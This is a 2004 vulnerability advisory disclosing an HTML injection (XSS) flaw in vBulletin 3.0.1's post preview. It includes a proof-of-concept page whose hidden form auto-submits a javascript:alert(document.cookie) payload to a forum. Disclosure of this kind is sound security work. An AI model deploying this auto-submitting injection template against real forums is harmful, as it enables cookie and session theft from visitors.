vBulletin HTML Injection Vuln

[Cheng Peng Su <apple_soup@xxxxxxx>]

 Advisory Name : vBulletin HTML Injection Vulnerability
  Release Date : June 24,2004 
   Application : vBulletin
       Test On : 3.0.1 or others?
        Vendor : Jelsoft(http://www.vbulletin.com/)
      Discover : Cheng Peng Su(apple_soup_at_msn.com)
     
Intro:
     From vendor's website ,it says that ,vBulletin is a powerful, scalable and 
 fully customizable forums package for your web site. It has been written using
 the Web's quickest-growing scripting language; PHP, and is complimented with a
 highly efficient and ultra fast back-end database engine built using MySQL.

Proof of concept:
     While a user is previewing the post , both newreply.php and newthread.php 
 do sanitize the input in 'Preview',but not Edit-panel,malicious code can be 
 injected thru this flaw.
 
Exploit:
     A page as below can lead visitor to a Preview page which contains XSS code.
    
   -------------------------Remote.html-------------------------
   <form action="http://host/newreply.php"; name="vbform" 
   method="post" style='visibility:hidden'>
   <input name="WYSIWYG_HTML" 
   value="&lt;IMG src=&quot;javascript:alert(document.cookie)&quot;&gt;"/>
		<input name="do" value="postreply"/>
		<input name="t" value="123456" />
		<input name="p" value="123456" />
		<input type="submit" class="button" name="preview"/>
   </form>
   &lt;script&gt;
     document.all.preview.click();
   &lt;/script&gt;
   -----------------------------End-----------------------------
   

Solution:
     vBulletin Team will release a patch or a fixed version as soon as possible.

Contact:
  Cheng Peng Su
  apple_soup_at_msn.com
  Class 1,Senior 2,High school attached to Wuhan University
  Wuhan,Hubei,China